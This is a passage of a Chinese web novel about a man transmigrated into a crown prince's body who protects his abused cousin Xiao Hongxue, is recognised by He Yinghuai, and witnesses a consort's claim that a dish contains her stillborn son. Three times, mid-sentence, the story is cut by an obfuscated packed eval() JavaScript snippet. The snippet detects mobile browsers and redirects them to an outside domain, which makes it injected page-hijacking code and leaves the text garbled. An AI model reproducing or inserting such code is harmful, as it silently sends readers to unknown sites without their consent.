杨惜愣愣地躺在案几上,感受着自己胸膛中擂鼓般的心跳,心情复杂至极。 他不自觉地回想着方才和萧鸿雪亲密的画面,想着萧鸿雪的眼睛、手指、发丝、嘴唇……杨惜摩挲着自己的唇,上面还残留着温湿感,神情有些恍惚。 妈妈,他好漂亮…… 不对,妈妈,我不要变成给子啊。 杨惜听着萧鸿雪越来越远的脚步声,没时间接着胡思乱想,很快站起身,追了上去。 开玩笑,要是让萧鸿雪就这么轻易的走了,自己费这么大工夫把他带回显德殿想刷刷好感的计划岂不是直接泡汤了! 13. 告状 杨惜拖着一身华美到显得繁缛的碧色缎袍,一路气喘吁吁地追赶萧鸿雪,心想果然还是年轻人身体好啊。 然后他反应过来,这萧成亭其实也就比萧鸿雪大了四岁,还自小锦衣玉食,结果体质竟比萧鸿雪这只被后母百般欺凌虐待的小苦瓜还差,太丢人了…… 就萧成亭这一步三喘的体格,竟然还有一颗想当采花贼的色心呢?他就是给萧鸿雪下药得逞了,被睡的估计也是他自己吧! 萧鸿雪嘲笑萧成亭是下面那个,可能还真没说错哈…… 杨惜嫌弃地晃了晃这副纤瘦的手脚,然后铆足了劲追。 终于,他在檐廊的转角处把萧鸿雪追上了。 “阿雉……站住。” 杨惜单手撑着柱子,望着眼前那个清瘦修长的背影,不住地喘气。 萧鸿雪把玩着袖中的匕首,站住了,慢慢转过身来。 “萧成亭,你到底想干什么?” 萧鸿雪眯起那双漂亮的紫眸,满脸的不耐。 “你的伤势……还是在这里多休养几天再走吧?” 杨惜到底心性成熟些,把萧鸿雪当成小孩儿看,根本不把他的冷淡和不耐往心里去。 杨惜慢慢走上前,试探性地牵住萧鸿雪的衣袖,然后伸手拍了拍他的肩头,想要安抚他。 “别碰我!” 萧鸿雪嫌恶地后退了两步。 看着他这幅冷淡矜傲的表情,杨惜突然回想起方才他在案几旁那种蛊惑人心的温柔模样,前后反差之大,杨惜在心中感叹了一声萧鸿雪果然是演技派。 但是思及方才那一吻……杨惜不自然地别过了头,咳嗽了一声,声音发哑。 “我当众驳了魏书萱的面子,若你现在就这么回去了,她肯定不会轻易放过你的。” 杨惜耐心地向萧鸿雪解释着。 “哦……可是那又与你何干呢?” “她会不会放过我,会不会再把我打得皮开肉绽一次,与你何干呢,我的……太子殿下?” 萧鸿雪抱着臂,似笑非笑地看着杨惜。 嘶……好问题哦。 总不能说因为我害怕你长大了反手把我折成毛毛虫,所以想把你的好感度刷高点,让你别再对我下手吧。 杨惜眉心微蹙,苦苦思索着一个合理的回答。 之前和萧鸿雪说自己是良心发现了想要赎罪,但看他的表现明显是不信啊…… “你是在对我这条可怜虫施舍同情吗?享受这种高坐在云端,欣赏身处泥渊中的人痛苦挣扎的模样?” “是因为被我拒绝所以恼羞成怒,想要虚情假意地戏弄我一番,再将我抛弃来取乐,还是……” 萧鸿雪突然一步一步走上前,杨惜被逼得连连后退。 “其实殿下你……真的喜欢上阿雉了?” 萧鸿雪的语调旖旎暧昧,眼神却非常清明,平静地和杨惜对视。 “不可能的,太子殿下。” 萧鸿雪很快又恢复了那副冷淡清肃的表情。 “阿雉再怎么不招人待见,也是昭王的儿子,殿下的族弟。” “我是个男人。我也姓萧。” “你凭什么觉得你可以像作践那些奴才一样,来作践我?” 萧鸿雪的语气漫不经心,手腕却倏地一转,速度快到杨惜还来不及反应,他就已经用匕首挑起了杨惜的下颔,在他的脖颈边轻轻比划。 杨惜的脖颈间已隐隐有血珠渗出。 “我就是和殿下玉石俱焚,也不会同你苟合的,听明白了吗,殿下?” “不要再来招惹我了,两个男人,还是名义上的兄弟……真恶心。” 萧鸿雪讥讽地一笑,漂亮精致的眉眼因这个笑染上了些秾丽妖异的意味,看得杨惜有些恍神。 不远处的侍卫见这里情况不对,已经纷纷架刀赶来。 “我……” “阿雉,我并不是想要作践你,报复你,也不是对你有什么非分之想……” 杨惜垂下眼,声音很轻。 “我只是心疼你。” 杨惜见过萧鸿雪成为天下霸主后睥睨河山的风光得意,也见过他颠沛流离,经受无数苦难折磨的最狼狈、最不堪的前二十年。 不管萧鸿雪后期再怎么狂拽酷炫吊炸天,他少年时经受的那些欺辱和伤痛,都是一个人独自捱过,默默舔舐伤口的。 萧鸿雪这波澜壮阔的一生中,关心他、爱护他者寥寥,就连他后宫里那些嫔妃和他都只是因利而聚、相敬如宾的关系。所有人都惧他,畏他,或是恨他。 虽然这种无边的辛酸和孤独最终造就了那个乱世枭雄、燕武大帝,但在杨惜的眼里,现在的萧鸿雪,也只是个像他弟弟一样的,十五岁的孩子,仅此而已。 不论来日如何,至少现在,杨惜是真的心疼他。 “……” 萧鸿雪顿住了,没有说话,狐疑地望着杨惜。 赶来护驾的侍卫将萧鸿雪掌中的匕首打掉了,正准备将他架走时,杨惜挥手止住了他们。 “都退下。本宫无碍,阿雉只是在同本宫玩闹罢了。” “可是殿下……” “退下!” “还有,今日之事,不许外传。” 杨惜难得端起一点太子的威严架子。 “……是。” 侍卫收剑归鞘,退到一旁,仍以戒备的姿态提防着萧鸿雪。 萧鸿雪听出了杨惜言语间对自己的维护之意,神情复杂,“你……” 杨惜捡起那把匕首,用袖角擦净刀身雪渍,郑重地交回到他手中。 “来日方长,阿雉,我的真心你可以慢慢看。” “这把匕首,我许你随身佩戴。” “但是,现在就先和我回去吧?你该喝药了……” 杨惜小心翼翼地询问道。 萧鸿雪把匕首佩回腰间,微微昂头,将杨惜脖颈上那条细长的血口看得很清楚,他怔了怔。 然后,他将脸扭转到一旁,闷闷地跟在杨惜身后。 一晌后。 萧鸿雪独自坐在榻边,望着掌中方才太子送来的,自己鬼使神差地饮了个干净的药碗。 他脸上有过片刻的惊疑和迷茫之色,但在摩挲到自己小指上那道用以铭记仇恨的烫疤后,很快就消失不见了。 取而代之的,是他那副惯常的淡漠矜傲的表情。 他蹙着眉,将那只药碗高高举起—— 药碗被他重重掷下,摔了个粉碎。 萧鸿雪抬手点上自己的穴位,将方才喝下的药汁尽数吐了出来。 然后,他用指腹抹了抹唇角的药渍,转头望向窗外漫天流转的飞雪,不知在想些什么。 * 御书房。 听贺萦怀讲罢宁国侯府大火一事的原委之后,睿宗扶着御座把手站起,昂头长长地叹了口气。 “阿钦……” 再低头时,他已是泪水盈眶。 “朕原想着张逸之医术精湛,没想到……竟生出这许多无妄事端来,还有那药人毒尸,简直是骇人听闻……” “朕已下令将太医署整顿,与药人案有渉者,全部严惩不殆,日后也严禁用这种阴毒之法行医看诊。” 睿宗怆然抹面,长久无言,半晌后,他看向阶下那个已清减了许多的故人遗子,眼神哀伤。 他走下台阶,亲自将贺萦怀扶起,语气温柔。 “萦怀,你和你娘日后作何打算?” “回陛下,臣打算带娘和……爹的骨灰回扬州,求陛下恩允。” 贺萦怀垂着眸,声音有些沙哑。 “这个自然……阿钦去了,他的爵位理当由你来承袭。萦怀,朕当年交给阿钦的扬州,现在,交给你了,等回到扬州就去上任州牧吧。” 睿宗拍了拍贺萦怀的肩膀,还不待贺萦怀回答,殿门口处突然响起了一道高傲骄矜却十分沙哑的声音。 “父皇!” 睿宗循声望去,一个墨发锦袍、意气风发的少年大步走进殿内。 没有通传就直接入内,这少年的举止实在放诞无礼,但睿宗看清少年的容颜后,目光瞬间柔和,毫无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824240|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 责怪之意。 “是凤皇啊,找父皇何事?” “参见父皇!儿臣……是来告状的!” 杨惜一张嘴,把自己都给吓了一跳。自被火场的浓烟呛熏后,他的嗓子哑得越来越严重,现在讲话就像锥子刮铁片一样沙嘎。 杨惜借着原主与睿宗相处的记忆,模仿着他和他老爹讲话的方式,往那一站,然后抱起袖子,嘟囔着嘴,满脸写着不高兴三个字。 “这又是怎么了?” “嗓子怎么哑成这样,可是受了风寒?这么远跑来找父皇,也不知道穿暖些。” 睿宗无奈地笑了笑,走到杨惜面前,替他理了理肩上衣衫的褶皱。 他眼角的余光突然瞥见杨惜胳臂上肿红的烫疤,紧张地攥起杨惜的手仔细察看。 “怎么伤得这么重?东宫的侍卫都是吃素的吗?!” 睿宗的脸色倏地沉了,阴得仿佛能滴出水来。 “不怪他们,是儿臣……儿臣四日前偷偷跑到宫外去看打铁花,手臂被溅到了。太医看过了,只要按时搽药就行,不碍事的。” “怎么这么不小心?嗓子呢,又是怎么回事?”睿宗语气虽里带着几分责怪,眼神却是满满的担忧。 “嗓子……是被烟熏的。” “烟?” 杨惜绞尽脑汁思考着回答,突然瞥见了睿宗书案上的那碗饺饵,灵机一动。 “儿臣见柳贵卿亲自下厨做了饺饵,也想亲手给父皇做好吃的,怎奈学艺不精,把小厨房炸了,嗓子还被灶膛里的柴禾给熏成这样了……” 杨惜低着头,很是委屈。 贺萦怀向杨惜行过礼后,就一直安静地站在一旁听着两人的对话。 他看着杨惜手臂上的烫疤,若有所思。 四日前,恰是宁国侯府大火那日。 结合杨惜那沙哑得可怕的声音,贺萦怀心中忽然产生了一个有些离奇的猜测。 难道…… 睿宗听完杨惜的解释,又是欣慰又是心疼,轻柔地摸了摸他的发顶。 “吾儿长大了……柳博士还和父皇说你学业怠惰,父皇看,吾儿自有吾儿的长处。” “之前逃课父皇就不责备你了,只是凤皇啊,你日后是要接父皇的班的,多读些书没有坏处,明日就乖乖去学宫,向柳博士认错。” “儿臣知道了,父皇。” “嗯……对了,凤皇,你说你来告状,告谁的状?还有谁欺负了你不成?” “不是欺负儿臣,是欺负阿雉。” “阿雉……可是你昭王叔的幺子?” “正是。” 杨惜用义愤填膺的语气将魏书萱因剜肉不成毒打萧鸿雪一事道出。 睿宗沉吟了一会儿,道: “凤皇什么时候和雉奴那孩子培养了如此情谊啊……你怜恤兄弟,父皇很欣慰。但是凤皇,这到底是昭王府的家事,你不该对你婶母出言不逊。” “白雉是你昭王叔当年瞒着王妃与外室所生,你婶母心里有气,不待见他,也能理解。” “儿臣不管嘛!” “阿雉不是她的孩子她当然不心疼,可我心疼阿雉,本来身体就不好,怎么能被活活剜去一块肉呢,婶母实在太过分了!父皇你一定要好好敲打敲打她。” 虽然心中恶寒,杨惜依然学着萧成亭的模样在他老爹面前一阵撒娇打滚、软磨硬泡。 见睿宗蹙着眉一言不发,很是为难的模样,杨惜选择退一步,道: “阿雉病了,父皇至少要准儿臣留阿雉在显德殿小住,过完年关再走。” “这个倒是无妨。” 睿宗眉头舒展了些,想起被晾在一旁许久的贺萦怀,怕他眼见父子相处触景伤情,大手一挥,让杨惜带着这位不日就要启程回扬州的小侯爷去宫里转转。 杨惜走在前面,贺萦怀安静地跟在他身后。 两人就这么不言不语地走了一会儿,在经过长廊的拐角处时,贺萦怀凝眸看着眼前那个墨发如瀑的碧色身影,突然试探性地轻唤了一声: “杨惜。” 14. 饺饵 杨惜乍然被贺萦怀这么一喊,一时间没反应过来,下意识就回过头应了声,“啊?你叫我干……” 贺萦怀抱臂倚着廊柱,挑了挑眉,笑眯眯地看着他。 “……嘛。” 杨惜在转身与贺萦怀对视的一瞬间,才猛然反应过来:糟了,忘记自己现在是萧成亭了,他应该对杨惜这个名字毫无反应才对。 “呃,贺小侯爷,其实本宫方才什么都没说……” 杨惜干咳一声,试图掩饰过去,只是这解释怎么听怎么苍白无力。 “臣听见了。”贺萦怀淡淡地答道。 “是吗,小侯爷耳力真好啊,哈哈……” 杨惜僵硬地回以一笑,在暴露身份的慌乱和紧张之外,更多的是发自内心的疑惑。 贺萦怀怎么知道自己就是杨惜?他当初去宁国侯府时是易了容的,谁会把一个毫不起眼的市井小民和天潢贵胄的太子殿下联系在一起,这也太匪夷所思了吧。 所以,他到底是怎么掉马的? 贺萦怀看出了杨惜眼中的疑惑,轻笑一声,却也不着急说话,吩咐身后跟着的宫人们原地等候。 然后,他转过身,一步一步把杨惜逼到廊柱旁,伸手探向他的面颊。 杨惜本以为贺萦怀是要摸摸看自己这张脸是不是真的,躲闪地将脸别到一旁。 谁知贺萦怀只是轻柔地拨了拨杨惜右耳上那条长长的金色珠链耳坠,将缠结在其上的发丝理开。 贺萦怀垂下眼,看着比自己矮半个头的杨惜,声音很轻。 “大火之后,臣没有找到杨惜的尸骨,只找到了几块被烧得焦黑稀烂的皮肤,本以为是火势太大,死无全尸……” “后来,臣去市井坊巷的许多杨姓人家打听过,想将他的母亲接来好生照养,但没有找到一家有儿郎名叫杨惜的。” “臣知道他极可能是用假名骗臣,便也不再找寻了,将他的衣冠冢和家父的坟茔立在一处。” 啊,所以我就这样混进了人家宁国侯的陵地享受香火供奉吗,感觉有点折寿啊…… 杨惜有点不好意思地摸了摸鼻尖。 “方才臣听殿下和陛下交谈时,言语间提到‘四日前’,结合殿下胳臂上的烫伤和沙哑的嗓音,虽然也觉得杨惜是太子殿下易容的这件事简直是天方夜谭,但臣还是想试试,没想到……” “杨惜,竟然就是太子殿下。” 杨惜闻言微微仰头,看着贺萦怀那双冷冽明亮的墨瞳,怕他发难,先一步解释起来。 “这件事解释起来有点复杂,但本宫易容还化名去侯府是有原因的。” “后来的事……本宫也不知晓,甚至不清楚自己为什么还能全须全尾地在东宫醒来。” 杨惜内心忐忑得很,小心翼翼地观察着贺萦怀的脸色。 他害怕贺萦怀会步步紧逼,咄咄质问。到时候他还真解释不清自己为何会对药人尸变未卜先知,难以脱身。 谁知贺萦怀却并没有再追问下去。他笑了,退开一步,撩袍屈膝,恭谨地向杨惜行了一礼。 “……活着就好。” 贺萦怀的声音微微发颤,难掩激动的心绪。 “殿下吉人天相,臣并无追责之意,殿下亦不必向臣解释因由。” “臣贺萦怀叩谢殿下舍命赴宁国侯府,此前对殿下多有冒犯,请殿下恕罪。” “多亏殿下的药方,家母身体见好了,只是常常思念父亲,还有……挂念那个为她诊治、将她自院中背出的杨惜。” “她听说杨惜是为攒点娶妻钱才来侯府献方之后,甚至几次央着臣去给他配桩清白的阴婚……” 杨惜:??? 封建迷信要不得啊,何况他又没真走了,这婚要是配上了,一个女鬼老婆整日幽幽地趴在他背上吸他精气,怎么听怎么惊悚啊! “臣知道,这根本就是无稽之谈,所以严词回绝了。家母只是实在对杨小友心觉亏欠,又无从弥补,才想出此种主意,殿下勿怪。” 杨惜松了口气,道:“张逸之的事……还是本宫太大意了,行事不够周密,不然你父亲也不会……抱歉。” “殿下何须自责,此事发生得突然,连张逸之本人都未曾料想到,最后被咬成了毒尸,又怎么能怪殿下?” “何况殿下还舍命救了家母,若家父泉下有知,也会对殿下感激涕零的。” “殿下对宁国侯府有大恩,臣此前虽答应过助‘杨惜’娶回美妻……但殿下的婚事显然轮不到臣来置喙,更不需要臣相助,宁国侯府无以为报,惟有……” 杨惜看着贺萦怀突然变得郑重的神情,有些迟疑地问道:“你……不会是要以身相许,给本宫做太子妃吧?” “臣愿以禁卫身份终身相随,护佑殿下。” 两人几乎是同时发声,听清了对方的话后俱是一愣。 “臣……志不在此。”贺萦怀答道。 杨惜清晰地看见贺萦怀常年冷淡清肃的表情僵了僵。 杨惜尴尬地一笑,在心底暗骂都怪这几天断袖长断袖短的,给他心理暗示成看谁都像给子了,好丢人,贺萦怀不会就此误会他是断袖了吧,他以后该怎么和贺萦怀相处啊! 他正想找个地缝钻进去,突然感觉指尖一凉。 贺萦怀屈膝在地,虔诚地牵起杨惜的右手,极克制有礼地轻吻了一下他的指尖。 “臣会向陛下请旨转择臣的小叔贺铭出任扬州牧,臣愿做东宫一禁卫,伴殿下左右。” 杨惜愣了愣,双颊发烫,不自然地咳了一声,将贺萦怀扶起。 没听错吧,姑苏贺郎要来给我当保镖?这也太有排面了! 杨惜唇角是掩藏不住的笑意,纤长的眼尾处那两点对称的滴泪痣显得更分明了。 贺萦怀看着眼前这个眉目昳丽的少年,突然想起杨惜那日曾在宁国侯府门前大倒自己“相貌丑陋”、“见不得人”的苦水,哑然失笑。 太子殿下模样随了生母,而他的生母王淑妃年轻时素有长安第一美人之称,如果生得太子殿下这幅模样还要自惭“相貌丑陋”、“见不得人”的话,这世上怕是没几个人能看了。 宁国侯府大火那日过后,杨惜在跃入火海前那惊心动魄的一笑在贺萦怀心中萦绕不去,他夜夜梦魇,那个被焰浪吞噬的白衣少年几乎快要成了他的心魔。 还好,他没有死。还好,他还来得及…… “走吧,殿下。”贺萦怀收回思绪,轻声开口。 “……啊?” “陛下不是让殿下带臣在宫里四处转转吗?” 贺萦怀勾了勾唇,眼带笑意。 “走!” 杨惜非常自然地勾上贺萦怀的肩膀,两人并肩走着。 被命令原地等候的宫人们对视一眼,慢慢地跟了上去。 *** 御书房。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824241|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 睿宗目送着杨惜和贺萦怀的身影远去后,想起自己当年和贺钦也曾是这般少年意气,并辔而行,伤感地哼起一支旧谣: “少年侠气,交结五都雄。肝胆洞,毛发耸。立谈中,死生同。一诺千金重……”[1] 他摇了摇头,坐回案旁,端起那碗饺饵,心不在焉地尝了一口。 饺饵的肉馅有些发酸,吃得他舌尖都泛起涩苦,睿宗蹙着眉将它吐在手巾上。 这碗饺饵方才送来时他就已照例着人用银针试过毒,照说没什么问题。 只是,这柳贵卿怎么会如此不用心,选取发酸的肉材来和馅包饺饵呢? 睿宗有些疑惑,柳梦书是学宫讲经博士柳绩之孙,自小饱读诗书,为人最是心细稳妥,不应该犯这种错才是。 就在这时,一个身着鹅黄色宫装的女子不顾身后宫人的阻拦,直直冲到了殿中。 这女子未施粉黛,发簪、步摇已在奔跑中散落一地,长发蓬乱地披在肩上,双足未穿鞋袜,被雪冻得通红。 她却像毫无知觉似的,赤着脚站在御书房光亮如镜的地面上。 身后的宫人急忙摁住她的双臂,将她押在原地。 这女子的手脚极其细瘦,根本无力挣扎,她木木地抬起有些脏污的脸,用满是红血丝的双眼直勾勾地看着睿宗。 且不说以这副蓬头垢面的不堪模样出现在御前,单是她强闯御书房这一条,按律就当斩了。 睿宗蹙着眉,本想厉声呵斥她,在看清她的脸后,愣了愣。 “……阿兮?” “昭仪娘娘,您就和奴婢回去吧,惊扰御前可是死罪啊!” 女子身后的掌事宫女说话间已带了哭腔,见劝不动那女子,又转头向睿宗解释道: “陛下……我家娘娘自产下死胎后就得了癔症,终日抱着她缝给夭折的小皇子的肚兜,时哭时笑,还动辄打骂下人。” “今日尝过柳贵卿送来的那碗饺饵后,当场将碗砸了个粉碎,然后就冲下床榻来寻您了,连鞋袜都顾不上穿……” 原来这女子乃是昭仪姜兮,户部尚书姜谋的独女。 睿宗当年初见她时,她手执马鞭,红衣似火,笑起来就如天边的骄阳般明丽恣扬。 看着姜兮如今深陷的眼窝和癯瘦的面颊,睿宗无奈地叹了口气,对那名宫女吩咐道:“罢了,把你家娘娘带回去,好生照料着。” “陛下,陛下您也吃了那碗饺饵,是不是?” 姜兮却置若罔闻般,那双美丽却毫无生气的眼睛一眨不眨地瞪着睿宗,声音有些颤抖。 见睿宗不回话,姜兮神经质地啃咬起自己的指甲,直啃得手指鲜血淋漓。 睿宗叹了口气,摆了摆手,示意身旁的宫人将她带下去,她弯下腰,突然咯咯咯地笑了一阵,然后猛地抬头,冲睿宗大喊道: “陛下,您怎么能吃下去呢,那是我们的阿衡啊!” 阿衡是姜兮尚在孕中时,便与睿宗一同为胎儿敲定的名字。可惜“阿衡”一落地便面色青紫,没有呼吸,是个死胎。 “臣妾一下就闻出来了,那馅儿里有阿衡的气味……” 姜兮面上涕泪交加,嘴角却仍挂着笑,看上去十分诡异。 “阿衡他,他被切成一块一块的,被剁得稀碎,被滚烫的沸水煮熟,该多疼啊……” “您没有听见他在哭吗,怎么能把他生生咽下去呢……” 15. 宠眷 睿宗被姜兮一番话给说得毛骨悚然,回忆起那饺饵肉馅酸苦的怪味,有些想要发呕。 他先用手边的那盏茶水压了压,因为姜兮所言实在过于离奇,思索一番后,只当姜兮是癔症又发作了在胡言乱语。 睿宗微微蹙着眉,让自己的声音尽可能听起来温和些: “阿兮,朕知道,你怀阿衡时受了很多苦,可阿衡生下来就……你心里难受,终日精神恍惚。” “你如今憔悴成这副模样,朕也心疼,但是……这是命数,没办法强求。你毋再伤怀,回去把身子好生将养着,孩子还会有的。” “把昭仪娘娘带回去,”睿宗对姜兮身后的掌事宫女吩咐道,然后他转过头,看着姜兮那张苍白瘦削,虽没有敷粉却依旧难掩精致的脸,叹了口气,“阿兮,等朕处理完政事,晚些时候再去看你。” “您不信臣妾……陛下,您不信阿兮!” 姜兮睫上悬着泪珠,身体不受控制地剧烈痉挛起来。 身后的宫人欲将她强行带走时,她不知哪里来的力气,硬生生挣开了众人,冲到睿宗身前,将书案上的那碗饺饵猛地打翻。 青瓷碗落地一声脆响,细碎的瓷片飞溅,汤汁与饺饵悉数洒落在地。 姜兮木然地站在一堆瓷片中,碎瓷扎入她被雪冻得通红的足心,鲜血向外殷殷渗出。 “不,不可以吃……陛下您可是阿衡的父皇,不可以……” 殿中有眼力见些的宫人赶忙将姜兮扶到一边察看脚伤,还有人立刻取来了清扫工具,准备收拾这一地狼藉。 睿宗的袍袖也被饺饵的汤汁溅湿了一块,他剑眉紧蹙,却也没有发作。他站起身,命人取来一条温水浸过的巾帕,走到姜兮身旁,温柔地为她拭脸。 睿宗一边拭去姜兮面颊上的泪污,一边问道: “……疼吗?” 姜兮不语,一晌后,她抬起头,用颤抖的两手抱住睿宗的手腕,声音哀弱地说道:“陛下若是不信阿兮,请将这些饺饵送去太医署检验……” 睿宗见她这样坚持,愣了愣,答道:“这些饺饵是柳贵卿亲手所烹,他平日深居简出,怎么会……” 柳梦书是本朝头一位男妃,因为性质特殊,在后宫中的行动受到严格限制,大部分时间,柳梦书只能呆在自己的玉明殿内。 平日里除了去给太后与皇后晨昏定省外,有专人随时监视着柳梦书,严禁他与其余后妃接触。 姜兮听见“柳贵卿”三个字,表情松动,面上划过一抹转瞬即逝的异样神情,但她仍絮絮聒聒地念叨着: “是他……可是,那种气味,不会错的……那就是阿衡的气味,臣妾是阿衡的母亲啊,母子连心,不会错的……” 姜兮的泪珠啪嗒啪嗒地落在睿宗的手臂上,睿宗见她两眼都哭肿了,实在于心不忍,便依她所言,命一个小太监将地上的饺饵收拾起来送到太医署,权当安抚她的情绪了。 “好了,阿兮,你产后身子虚弱,天气这样冷,还是先回宫休息吧。” 姜兮闻言松开了抓着睿宗的手,不再说话了,只木木地转过身去,任那些簇拥在身边的宫人搀着她回宫。 睿宗看着她瘦到显得有些佝偻的背影,长长地叹了口气。 这金枷玉锁的重重宫禁,当真如此摧折红颜么?当年他在尚书府初见姜兮时,她一身男儿装扮,利落地翻身下马,通身是不让须眉的逼人英气。 她冲站在他身旁的姜尚书露出一个张扬明丽的笑容时,睿宗几乎挪不开自己的眼睛。 可姜兮自那日被睿宗相中,入这寂寞深宫为妃之后,被迫收敛了天性,学着宫妃端庄柔淑的礼仪规矩,变得温吞寡言、步步谨慎。 睿宗发现,自己快要想不起当年的姜兮是何等的意气风发了。 其实睿宗心里明白,这深深宫院是最杀人不见血的名利场,他正是在此间活得太寂寞了,才被姜兮的明媚热烈深深吸引,向她父亲暗示,自私地将她带回自己身边。 户部尚书独女姜兮在府上与睿宗初见,蒙帝青睐,两月后领旨入宫为妃,外人看着是鲜花着锦、烈火烹油,可这于姜兮而言,或许是灾难吧…… 他当年的一见倾心,害得姜兮这只自由无拘的飞鸟被生生折了羽翅,被锁在金笼一隅,麻木地望着笼外的碧空。 可是阿兮啊阿兮……深宫之内,又怎么会有供鸟儿振翅高飞的天宇呢。 自你踏入宫门的那刻起,等着你的,或许就只有一具散发着奇香的金丝楠木棺和一个“敦肃”或“孝淑”的妃谥了。 睿宗难得有些怅惘,独自坐在御座上静默了许久,才吩咐内侍为他更衣,将这身被饺饵汤汁溅到的袍服换下。 *** 显德殿这边,在贺萦怀向睿宗请旨做太子禁卫的消息传回后,宫人们悄悄聚在一处,开起了小会。 “欸,听说了没,贺小侯爷为了咱们太子殿下,放着好好的州牧不做,要来咱们东宫当禁卫!” “这是怎么回事,咱们太子殿下和贺小侯爷平时不是无甚交情,只在故宁国侯的接风宴上见过一面么?” “具体缘由我也不清楚,但听在御书房当值的内侍裴公公说,贺小侯爷今日本是来向陛下请旨回扬州的,陛下也同意了。” “两人交谈间,恰好咱们殿下也去御书房寻陛下,陛下就让殿下带着小侯爷在宫里四处逛逛……” “谁知这一逛啊,贺小侯爷直接倾心咱们太子殿下了,两人并肩而行,言笑晏晏,宛如多年的知己故交呢。” “后来贺小侯爷直接折返御书房,请陛下改择他的小叔为扬州牧,他自言与殿下十分投缘,武艺又尚可,愿为东宫禁卫,护佑殿下。” “陛下惊愕不已,但也没说什么。毕竟小侯爷的父亲故宁国侯和陛下也是竹马之交啊。当年陛下为郡王时,曾与故宁国侯共治扬州十载,也是常携手同游、并辔而行的情谊。” “现在两人的儿子也如此投缘,陛下又怎会拒绝贺小侯爷的请求呢。但陛下说只做禁卫还是太折煞小侯爷的身份了,遂把原来的冯舍人调走,让小侯爷就了太子舍人的职位,以后执掌东宫宿卫,陪伴殿下身侧。” “……啧啧,咱们殿下真是风流,四处留情啊,这才刚把鸿雪公子抱回碧梧院几天,又和贺小侯爷眉来眼去了。” “谁说不是呢,虽然鸿雪公子有天人神仙般出挑的样貌,但似乎对咱们殿下十分冷淡,可能是在欲擒故纵吧,谁知道半途竟杀出来了个贺小侯爷坏他好事。” “听说贺小侯爷容貌生得也很是俊秀……殿下这么快就寻了新欢,看来鸿雪公子可有的急了。” 虽然杨惜不曾向宫人们透露过他和住在偏殿碧梧院的萧鸿雪是何关系,但宫人们似乎都心照不宣地认为那位矜雅清逸的鸿雪公子是他们太子殿下的姘头。 毕竟他们曾两度看见太子殿下亲自将鸿雪公子抱回显德殿,连为他送药都要亲力亲为。 “哦……我倒是不知,我要着什么急啊?” 一道极其清越动听的声音在身后响起,宫人们回头一看,发现正是他们口中的鸿雪公子。 萧鸿雪一身素白,站在赤红似火的梅树下,背倚着梅枝。他轻轻咳嗽了一声,那双紫色的眼眸似笑非笑地望着他们,薄唇轻启。 背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824242|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后讲人闲话被正主听见,一时间,宫人们面面相觑,俱是一幅见了鬼的悚然表情。 这时,一个胆大些的宫女走到萧鸿雪身前,向他行了一礼。 萧鸿雪认得她,这是在碧梧院照顾他起居的宫女玉屏。 玉屏刻意放低了音量,煞有介事地说道: “公子不常在宫中生活,不知晓其中关节……您自然是要着急争夺殿下的宠眷了!贺小侯爷一来,殿下的情意就被分走了,落在公子身上的还能有多少呢?” “贺小侯爷为了殿下,甚至推拒了州牧一职,可谓一片深情,殿下定然十分感动,对小侯爷另眼相待。” “奴婢在碧梧院伺候,自是向着公子的,斗胆说句肺腑之言,公子您可不能再像以前那样对殿下冷淡无视了,君恩无常,若您不主动争夺宠眷,殿下很可能一朝就厌弃了公子您啊……” 玉屏小心翼翼地看着萧鸿雪。 眼前人身材修长秀俊,如缎的银发垂至腰间,眼尾因尚在病中而微微发红。 玉屏心想这位鸿雪公子真是天人之貌,生得人如其名,肌肤白到显得有些病态,与雪色相较也毫不逊色。 难怪他们太子殿下无视纲常伦理,冒着被人说闲话的风险也硬是要和自己的小族弟行龙阳之好。 “君恩无常……争夺宠眷……” 萧鸿雪听清玉屏的话后,简直被生生气笑了。他攥着一段梅枝,口中缓慢吟啄起这几个字。 他没兴趣关心萧成亭又和谁眉来眼去,在他心里,萧成亭本就是这样一个好色草包,虽然近日举止有些怪异,但他奸猾好色的形象在萧鸿雪这里不会轻易改变。 但听玉屏的话,他们这是把他当成萧成亭养在东宫的脔宠了? “呵,那还真是……劳你为我费心了啊。” 萧鸿雪看着玉屏,轻笑一声,纤长发红的眼尾与他雪白的脸颔、身后赤红的梅色相映,有种说不出的秾艳。 玉屏怔怔地望着萧鸿雪那张美得不可方物的脸出神。在萧鸿雪之前,她从未见过像他这般,能兼具清冷与妖谲两种气质的美人。 长着这么一副倾世的皮相,即使萧鸿雪平时对他们这些宫人也是爱搭不理的,他们也很难对他生厌。 